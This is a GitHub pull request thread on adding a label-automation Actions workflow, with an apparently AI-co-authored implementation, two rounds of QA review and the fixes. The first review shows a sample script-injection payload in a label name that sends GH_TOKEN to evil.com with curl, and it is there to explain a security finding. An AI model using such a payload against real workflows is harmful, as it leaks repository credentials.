Add PR label automation workflow#82
Conversation
GitHub Actions workflow that automates label state transitions: - On push: reset to Awaiting CI, remove stale QA labels, flag QA Invalidated if QA was actively reviewing - On CI pass: promote Awaiting CI to Ready for QA - On label add: clean up labels that no longer apply (e.g. adding QA Active removes Ready for QA) Prevents the missed-transition errors that caused confusion today. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Codecov Report✅ All modified and coverable lines are covered by tests. 📢 Thoughts on this report? Let us know! |
|
CI green. Manually promoting to Ready for QA — the on-ci-pass automation can't fire until this workflow exists on main (chicken-and-egg on first PR). |
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
cmeans
left a comment
There was a problem hiding this comment.
QA Review — PR #82: Add PR label automation workflow
Checklist Verification
| # | Check | Result |
|---|---|---|
| 1 | Workflow syntax valid | ✅ YAML valid, Actions syntax correct |
| 2 | on-push synchronize logic | ✅ Correctly strips stale labels, adds Awaiting CI, flags QA Invalidated |
| 3 | on-ci-pass workflow_run logic | ✅ PR lookup via API, guards on Awaiting CI presence |
| 4 | on-label switch matches state machine | |
| 5 | Permissions scope | ✅ Only pull-requests: write — appropriate |
Findings
1. Blocker — Script injection via github.event.label.name
ADDED='${{ github.event.label.name }}'Label names are user-controlled. This expression is interpolated directly into the shell script before execution. A label named '; curl http://evil.com?t=$GH_TOKEN # would break out of the single-quoted assignment and execute arbitrary commands with pull-requests: write token access.
Fix: Pass via environment variable instead of inline interpolation:
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
ADDED_LABEL: ${{ github.event.label.name }}
run: |
ADDED="$ADDED_LABEL"2. Blocker — Same injection vector via toJSON(labels)
LABELS='${{ toJSON(github.event.pull_request.labels.*.name) }}'Both on-push and on-label jobs use this pattern. toJSON does not escape single quotes, so a label containing ' breaks the shell quoting. Same fix — pass via env:.
3. Substantive — QA Invalidated is never automatically cleaned up
When a push occurs while QA Active:
QA Invalidatedis added- Subsequent pushes don't remove it
on-ci-passpromoting toReady for QAdoesn't remove it- Only manual
Dev Activelabel removes it (via on-label case)
This means QA Invalidated can persist alongside Ready for QA, which is confusing. Recommend removing it in either on-push (on subsequent pushes) or on-ci-pass (when promoting to Ready for QA).
4. Substantive — Fork PRs invisible to on-ci-pass
The pull_requests array on workflow runs is only populated for same-origin PRs. Fork PRs will never be promoted from Awaiting CI → Ready for QA. Acceptable if fork contributions aren't expected, but worth documenting.
5. Observation — No-op on-label runs triggered by on-push
When on-push adds Awaiting CI and QA Invalidated, each addition fires on-label, but neither label is handled in the case statement — so they're wasted runner invocations. Could filter with:
if: >-
github.event_name == 'pull_request'
&& github.event.action == 'labeled'
&& contains(fromJSON('["QA Active","Dev Active","Ready for QA Signoff","QA Failed","QA Approved"]'), github.event.label.name)6. Observation — Manual Ready for QA bypasses CI gate
No guard prevents someone manually adding Ready for QA without CI passing. If this is an intentional override capability, consider documenting it.
7. Observation — workflow_run name-matched to [CI]
If the CI workflow is ever renamed, this silently breaks. Worth a comment in the file.
8. Nit — Label removals could be coalesced
gh pr edit supports --remove-label "label1,label2,label3" in one call instead of looping.
Verdict
2 blockers (script injection), 2 substantive, 3 observations, 1 nit. The injection vulnerabilities must be fixed before merge — they're a well-known GitHub Actions antipattern (GitHub docs on script injection).
|
Adding QA Failed — 2 script injection blockers (label name and toJSON labels interpolated directly into shell). Removing Ready for QA. |
Addresses all findings from QA review: Blockers: - Fix script injection via github.event.label.name — pass through env var instead of inline interpolation - Fix script injection via toJSON(labels) — same fix Substantive: - QA Invalidated now cleaned up: on subsequent pushes (on-push) and when promoting to Ready for QA (on-ci-pass) - Document fork PR limitation in on-ci-pass comments Observations: - Filter on-label job to only run for labels with cleanup rules - Add comment about CI workflow name dependency - Coalesce label removals into single gh pr edit calls Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
|
Fixed all QA findings: 2 injection vulnerabilities (env vars instead of inline interpolation), QA Invalidated cleanup, no-op filtering, coalesced label removals, fork PR documentation, CI workflow name comment. |
|
CI green. Ready for QA. |
cmeans
left a comment
There was a problem hiding this comment.
QA Re-review — PR #82 (round 2)
All findings from round 1 addressed:
| Finding | Severity | Status |
|---|---|---|
Script injection via github.event.label.name |
Blocker | ✅ Fixed — moved to env: ADDED_LABEL |
Script injection via toJSON(labels) |
Blocker | ✅ Fixed — moved to env: PR_LABELS (both jobs) |
QA Invalidated never cleaned up |
Substantive | ✅ Fixed — removed in on-push loop and on-ci-pass |
Fork PRs invisible to on-ci-pass |
Substantive | ✅ Documented in comment |
No-op on-label runs |
Substantive | ✅ Fixed — contains() filter added |
workflow_run name fragility |
Observation | ✅ Comment added |
| Coalesce label removals | Nit | ✅ on-push now builds comma-separated list |
Additional observations (non-blocking)
- AGPL header added to workflow file — consistent with PR #80 scope
- Emoji removed from QA Invalidated comment — cleaner
on-labelremove_if_presentstill does individual API calls for theDev Activecase (max 2), but that's fine for the volume
Verdict
Zero findings. All blockers and substantive issues resolved. CI green. Ready for signoff.
|
Adding Ready for QA Signoff — round 2 complete, all blockers resolved (injection fixes, cleanup gaps, no-op filter), CI green. Removing Ready for QA and Awaiting CI. |
Summary
Full state machine
Bold = automated transitions, rest are manual.
QA
Prerequisites
.github/workflows/pr-labels.ymlManual tests
synchronizetrigger logic — should remove Ready for QA/QA Approved/etc and add Awaiting CIworkflow_runtrigger correctly identifies the PR and promotes Awaiting CI → Ready for QApull-requests: writeis requestedenv:blocks, not inline${{ }}contains()filter on label names🤖 Generated with Claude Code